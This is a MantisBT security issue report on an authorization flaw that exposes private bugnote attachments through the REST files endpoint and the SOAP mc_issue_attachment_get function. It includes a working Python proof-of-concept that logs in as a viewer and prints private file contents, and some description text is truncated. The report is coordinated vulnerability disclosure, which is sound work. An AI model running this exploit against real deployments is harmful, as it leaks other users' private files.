View Issue Details
| ID | Project | Category | View Status | Date Submitted | Last Update |
|---|---|---|---|---|---|
| 0037095 | mantisbt | security | public | 2026-04-20 09:03 | 2026-05-10 07:56 |
| Reporter | siunam | Assigned To | dregad | ||
| Priority | high | Severity | major | Reproducibility | have not tried |
| Status | closed | Resolution | duplicate | ||
| Product Version | 2.28.1 | ||||
| Summary | 0037095: Private Bugnote Files Disclosure via REST API Get Issues Files Or SOAP API mc_issue_attachment_get | ||||
| Description | In REST API
Inside that function, it'll check if the current user can view the provided bug or bugnote attachments via function
Unfortunately, in function
By default, In SOAP API
Inside that function, it assumes the attachment is a bug attachment. Therefore, it only validates the attachment in bug level via function
| ||||
| Steps To Reproduce |
A Proof-of-Concept Python script ( | ||||
| Additional Information | PatchIn REST API, function
In SOAP file API function | ||||
| Tags | No tags attached. | ||||
| Attached Files | poc.py (5,652 bytes)
import requests
import xml.etree.ElementTree as ET
from base64 import b64decode
class Poc:
def __init__(self, baseUrl):
self.baseUrl = baseUrl
self.LOGIN_ENDPOINT = f'{self.baseUrl}/login.php'
self.REST_GET_ISSUE_FILES_ENDPOINT = f'{self.baseUrl}/api/rest/issues/{{issue_id}}/files'
self.SOAP_API_ENDPOINT = f'{self.baseUrl}/api/soap/mantisconnect.php'
self.SOAP_FUNCTION_ISSUE_ATTACHMENT_GET = 'mc_issue_attachment_get'
'''
Example SOAP request body for mc_issue_attachment_get function:
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:man="http://futureware.biz/mantisconnect">
<soapenv:Header/>
<soapenv:Body>
<man:mc_issue_attachment_get>
<username>viewer</username>
<password>password</password>
<issue_attachment_id>139</issue_attachment_id>
</man:mc_issue_attachment_get>
</soapenv:Body>
</soapenv:Envelope>
'''
@staticmethod
def buildSoapEnvelope(functionName, params):
envelope = ET.Element('soapenv:Envelope', attrib={
'xmlns:xsi': 'http://www.w3.org/2001/XMLSchema-instance',
'xmlns:xsd': 'http://www.w3.org/2001/XMLSchema',
'xmlns:soapenv': 'http://schemas.xmlsoap.org/soap/envelope/',
'xmlns:man': 'http://futureware.biz/mantisconnect'
})
header = ET.SubElement(envelope, 'soapenv:Header')
body = ET.SubElement(envelope, 'soapenv:Body')
function = ET.SubElement(body, f'man:{functionName}')
for key, value in params.items():
param = ET.SubElement(function, key)
param.text = str(value)
return ET.tostring(envelope, encoding='utf-8', method='xml')
def login(self, account):
data = {
'username': account['username'],
'password': account['password']
}
response = account['session'].post(self.LOGIN_ENDPOINT, data=data)
response.raise_for_status()
def restGetIssueFiles(self, session, issueId):
url = self.REST_GET_ISSUE_FILES_ENDPOINT.format(issue_id=issueId)
response = session.get(url)
response.raise_for_status()
return response.json()['files']
def soapGetIssueFile(self, account, issueAttachmentId):
soapEnvelope = Poc.buildSoapEnvelope(self.SOAP_FUNCTION_ISSUE_ATTACHMENT_GET, {
'username': account['username'],
'password': account['password'],
'issue_attachment_id': issueAttachmentId
})
print(f'[+] Sending SOAP request to {self.SOAP_API_ENDPOINT} with function "{self.SOAP_FUNCTION_ISSUE_ATTACHMENT_GET}" for issue attachment ID: {issueAttachmentId}')
print(f'[+] SOAP Request Body:\n{soapEnvelope.decode()}')
headers = {'Content-Type': 'text/xml; charset=utf-8'}
response = requests.post(self.SOAP_API_ENDPOINT, data=soapEnvelope, headers=headers)
response.raise_for_status()
root = ET.fromstring(response.content)
file = root.find('.//return')
if file is not None:
return b64decode(file.text).decode().strip()
else:
print('[-] No file found in the SOAP response')
return None
def execute(self, accounts, issueId=0, issueAttachmentId=0):
accounts['viewer']['session'].proxies.update({ 'http': 'http://localhost:9876' })
if issueId != 0:
# 1. Log in as a user with at least Viewer access level to be access bug issues
self.login(accounts['viewer'])
print(f'[+] Logged in as {accounts["viewer"]["username"]}')
# 2. Access the REST endpoint to retrieve all files for a specific bug issue. Including private bugnotes files that should not be accessible to the user.
files = self.restGetIssueFiles(accounts['viewer']['session'], issueId)
if not files or len(files) == 0:
print('[-] No files found for the specified issue or issue attachment ID')
return
for file in files:
print('=' * 20)
print(f'[+] File Name: {file["filename"]} (ID: {file["id"]}) | File owner: "{file["reporter"]["name"]}"')
print(f'[+] File content:\n{b64decode(file["content"]).decode().strip()}')
return
elif issueAttachmentId != 0:
# 2. Access the SOAP API to retrieve a specific issue attachment by its ID. This can be used to access private bugnotes files that should not be accessible to the user.
file = self.soapGetIssueFile(accounts['viewer'], issueAttachmentId)
if not file:
print('[-] No file found for the specified issue attachment ID')
return
print('=' * 20)
print(f'[+] File content:\n{file}')
return
print('[-] Please provide either an issue ID or an issue attachment ID')
return
if __name__ == '__main__':
baseUrl = 'http://localhost:8080'
accounts = {
'viewer': {
'username': 'viewer',
'password': 'password',
'session': requests.Session()
}
}
# for REST API
issueId = 0 # Change this to the ID of the issue you want to test
# for SOAP API
issueAttachmentId = 142 # Change this to the ID of the issue attachment you want to test (if needed)
poc = Poc(baseUrl)
poc.execute(accounts, issueId, issueAttachmentId) | ||||
|
@dregad Any update on this? |
|
|
Sorry about the delay, I've been busy. This vulnerability has already been identified by another researcher, so I'm closing the Issue as duplicate of 0036985. CVE-2026-42071 has been assigned. You will be co-credited for the finding. |
|
|
Patch is available in a private repository, I sent you an invite to join, so you can review and provide feedback. I also added you to the GitHub advisory. |
|
|
Thanks! I'll check that patch later. |
|